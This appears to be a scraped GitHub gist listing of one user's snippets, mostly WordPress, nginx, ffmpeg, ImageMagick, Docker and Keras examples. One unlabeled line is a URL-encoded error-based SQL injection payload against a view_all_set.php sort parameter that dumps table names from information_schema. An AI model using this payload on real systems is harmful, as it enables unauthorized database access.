Skip to content

Instantly share code, notes, and snippets.

@kiki67100
kiki67100 / gist:a08485536ca97c7f798fd9f4e041b806
Created February 10, 2017 10:03
Upgrade WordPress from wp-cli
#!/bin/bash
cd /data/www/vhosts || exit;
wp cli update --yes >> /root/cron/log-wp.txt
find . -type f -name 'wp-config.php'|while read line;
do
realpath=$(readlink -f $line);
dirname=$(dirname $realpath)
@kiki67100
kiki67100 / gist:f5b421ddac9d500297b0e6471e5ef737
Created February 23, 2017 08:19
Fix ERR_SPDY_INADEQUATE_TRANSPORT_SECURITY nginx
#Fix ERR_SPDY_INADEQUATE_TRANSPORT_SECURITY on NGINX / SSL / SPD
#Tested on Plesk 17 NGINX / SDPY / LETSENCRYPT
#To reproduce this error you can check on Windows 7 / Chrome 47 https://www.browserling.com/
#Add this in server
ssl_protocols TLSv1 TLSv1.1 TLSv1.2;
ssl_ciphers EECDH+CHACHA20:EECDH+AES128:RSA+AES128:EECDH+AES256:RSA+AES256:EECDH+3DES:RSA+3DES:!MD5;
ssl_prefer_server_ciphers on;
@kiki67100
kiki67100 / IPWebcam-Android-LibPuzzle-Detect-Motion.bash
Last active March 30, 2020 17:36
Libpuzzle IP WEBCAM Android detect motion
#!/bin/bash
#Using libpuzzle trough command line tools puzzle-diff to detect difference image from IP WEBCAM Android application
#Keep in mind this not replace the real detection video, because the real detection motion use realtime detection.
#This bash script detection two image first +0s and +60s and detect the difference trough puzzle-diff
#Require "puzzle-diff" run apt-get install libpuzzle-bin
while((1));
do
@kiki67100
kiki67100 / ffmpeg_hardware_acceleration_h264_videotoolbox.bash
Created July 25, 2017 08:15
ffmpeg hardware accelaration mac os
#!/bin/bash
#Verify the quality with difference bitrate ( crf no work with h264_videotoolbox use -b:v )
#You can use the same audio codec change -c:a ac3 to -c:a copy i use it because it work my multimedia player
for bitrate in 500k 1000k 1500k 2500k 3000k 3500k;do
ffmpeg -i Movie.mkv -c:v h264_videotoolbox -c:a ac3 -b:a 128k -y -b:v $bitrate -ss 00:01:00 -t 00:00:10 Movie_$bitrate.mp4;
done
#With 2500k bitrate
ffmpeg -i Movie.mkv -c:v h264_videotoolbox -c:a ac3 -b:a 128k -y -b:v $bitrate -b:a 128k Movie_$bitrate.mp4;
@kiki67100
kiki67100 / Imagemagick.bash
Last active November 4, 2017 07:13
ImageMagick compare multiples images
#Combine all images
convert -verbose *.jpg -combine diff.png
#Using fuss
compare -verbose -fuzz 2% photo-11-03-* diff.jpg
#Only show the difference
compare -verbose *.jpg -compose src diff.png
@kiki67100
kiki67100 / docker-x11.bash
Created December 14, 2017 09:10
Docker macOS X11 display
### Script to install xquartz and set the DISPLAY variable correctly, find the listen port and add current ip to connect to X11.
#skip if you want, install xquartz
brew cask reinstall xquartz
#get ip
IP=$(ifconfig|grep -E inet.*broad|awk '{ print $2; }')
#open XQuartz
open -a XQuartz &
#Go to preference Security check allow network, restart :
read -p "Go to preference Security check allow network and press a key to continue"
@kiki67100
kiki67100 / simple_keras.py
Created December 20, 2017 06:26 — forked from rosdyana/simple_keras.py
simple keras
import numpy as np
from keras.models import Sequential
from keras.layers import Dense
# dataset
trainX = np.array([1, 2 ,3 ,4 , 5 , 6 , 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24])
trainY = np.array([3, 6, 9, 12, 15, 18, 21, 24, 27, 30, 33, 36, 39, 42, 45, 48, 51, 54, 57, 60, 63, 66, 69, 72])
# create a model
model = Sequential()
@kiki67100
kiki67100 / xor.py
Created December 20, 2017 06:32 — forked from stewartpark/xor.py
Simple XOR learning with keras
from keras.models import Sequential
from keras.layers.core import Dense, Dropout, Activation
from keras.optimizers import SGD
import numpy as np
X = np.array([[0,0],[0,1],[1,0],[1,1]])
y = np.array([[0],[1],[1],[0]])
model = Sequential()
model.add(Dense(8, input_dim=2))
http://example.com/view_all_set.php?sort=id%2Cstatus%2Cseverity%2Cextractvalue%28null%2Cconcat%280x3a%2C%28SELECT%20group_concat%280x2D%2Ctable_schema%2C0x2E%2Ctable_name%2C0x2D%29%20FROM%20information_schema.tables%20WHERE%20table_schema%20%21%3D%200x6D7973716C%20AND%20table_schema%20%21%3D%200x696E666F726D6174696F6E5F736368656D61%29%2C0x3a%29%29%20--&dir=ASC,ASC,ASC&type=2
@kiki67100
kiki67100 / Delete-Teams-Messages.js
Last active June 12, 2024 10:25
Delete batch messages Microsoft Teams
/*
This version is probably out of date, look at the dsci4-hacks ( Thanks to him x) ) instead:
*** not tested ***
https://github.com/dsci4-hacks/Delete-Teams-Messages/blob/main/delete_my_teams_messages.js
Thank you for all your contributions in comments